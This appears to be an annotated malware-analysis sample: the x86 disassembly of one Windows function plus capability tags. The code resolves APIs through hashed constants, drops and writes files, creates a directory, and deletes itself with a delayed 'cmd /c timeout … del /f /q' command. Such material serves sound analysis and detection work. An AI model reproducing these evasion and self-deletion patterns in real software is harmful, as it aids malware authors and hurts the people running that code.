Function at 0x415fc0
Capabilities:
Check if file exists
Create directory
Create process on windows
Delete file
Get file attributes
Query environment variable
Self delete
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x8b8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x8b4], eax
push esi
push edi
push 0xff
push 0xfe
push 0
push 0xd8637117
push 0x6c15cf9c
mov ecx, 1
call fcn.00410fc0
add esp, 8
call eax
mov esi, eax
test esi, esi
je 0x4163f9
push esi
push 0
push 0x643d02f7
push 0xdff39f14
mov ecx, 1
call fcn.00410fc0
add esp, 8
call eax
test eax, eax
je 0x4163f9
push eax
push 0xda6875ff
push 0x6d679f14
mov ecx, 1
call fcn.00410fc0
add esp, 8
call eax
mov dword [esp + 0x10], eax
test eax, eax
je 0x4163f9
push esi
push 0
push 0x20827375
push 0x576b9f14
mov ecx, 1
call fcn.00410fc0
add esp, 8
call eax
mov edi, eax
mov dword [esp + 0x2c], edi
test edi, edi
je 0x4163f9
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x4163f9
lea ecx, [esp + 0x2a0]
call fcn.004174f0
test al, al
je 0x416344
lea ecx, [esp + 0x14]
call fcn.00416670
mov esi, eax
mov edx, dword [esi + 0x14]
mov eax, edx
mov ecx, dword [esi + 0x10]
sub eax, ecx
cmp eax, 4
jb 0x4160f3
lea eax, [ecx + 4]
mov edi, esi
mov dword [esp + 0xc], eax
mov dword [esi + 0x10], eax
cmp edx, 7
jbe 0x4160d0
mov edi, dword [esi]
push 8
lea eax, [edi + ecx*2]
push str..zip
push eax
call fcn.0041a970
mov eax, dword [esp + 0x18]
add esp, 0xc
xor ecx, ecx
mov word [edi + eax*2], cx
mov edi, dword [esp + 0x2c]
jmp 0x41610e
push 4
push str..zip
mov byte [esp + 0x34], 0
mov ecx, esi
push dword [esp + 0x34]
push 4
call fcn.004164a0
mov esi, eax
mov dword [esp + 0x40], 0
xorps xmm0, xmm0
movaps xmmword [esp + 0x30], xmm0
xor eax, eax
mov dword [esp + 0x44], 0
mov ecx, 2
movups xmm0, xmmword [esi]
movups xmmword [esp + 0x30], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [esp + 0x40], xmm0
mov word [esi], ax
lea eax, [esp + 0x30]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
cmp dword [esp + 0x44], 7
cmova eax, dword [esp + 0x30]
push eax
lea eax, [esp + 0x2a4]
push eax
push 0x55f7b28c
push 0x77adbbec
call fcn.00410fc0
add esp, 8
call eax
mov ecx, dword [esp + 0x44]
cmp ecx, 7
jbe 0x4161b8
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4161ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416412
push ecx
push edx
call fcn.00417ffd
add esp, 8
mov ecx, dword [esp + 0x28]
xor eax, eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 7
mov word [esp + 0x30], ax
cmp ecx, 7
jbe 0x41620b
mov edx, dword [esp + 0x14]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x416201
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416412
push ecx
push edx
call fcn.00417ffd
add esp, 8
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
lea eax, [esp + 0x2b8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41624c
push 0
lea eax, [esp + 0x30]
push eax
push edi
push dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x98]
call fcn.004174f0
test al, al
je 0x416336
lea ecx, [esp + 0x30]
call fcn.00416670
cmp dword [eax + 0x14], 7
jbe 0x416271
mov eax, dword [eax]
push eax
lea eax, [esp + 0x9c]
mov ecx, 2
push eax
push 0x55f7b28c
push 0x77adbbec
call fcn.00410fc0
add esp, 8
call eax
mov ecx, dword [esp + 0x44]
mov esi, eax
cmp ecx, 7
jbe 0x4162d1
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4162c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416417
push ecx
push edx
call fcn.00417ffd
add esp, 8
xor eax, eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 7
mov word [esp + 0x30], ax
test esi, esi
je 0x416313
lea eax, [esp + 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x416303
test al, 0x10
jne 0x416313
push 0
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edx, [esp + 0x98]
lea ecx, [esp + 0x2a0]
call fcn.00417260
test al, al
je 0x416336
lea ecx, [esp + 0x98]
call fcn.004130f0
lea eax, [esp + 0x2a0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x104
lea eax, [esp + 0x4ac]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x4a8]
push eax
push str._c_timeout__t_5__del__f__q___ls_
lea eax, [esp + 0x6b8]
push 0x104
push eax
call fcn.00416630
add esp, 0x10
lea eax, [esp + 0x4a8]
push 0x104
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x4163fc
push 0x40
lea eax, [esp + 0x58]
mov dword [esp + 0x54], 0x44
push 0
push eax
call fcn.00419500
add esp, 0xc
lea eax, [esp + 0x30]
xorps xmm0, xmm0
movaps xmmword [esp + 0x30], xmm0
push eax
lea eax, [esp + 0x54]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x6d0]
push eax
lea eax, [esp + 0x4cc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4163fc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
or eax, 0xffffffff
mov ecx, dword [esp + 0x8bc]
pop edi
pop esi
xor ecx, esp
call fcn.00417fbf
mov esp, ebp
pop ebp
ret 0x10
call fcn.00422715
call fcn.00422715
int3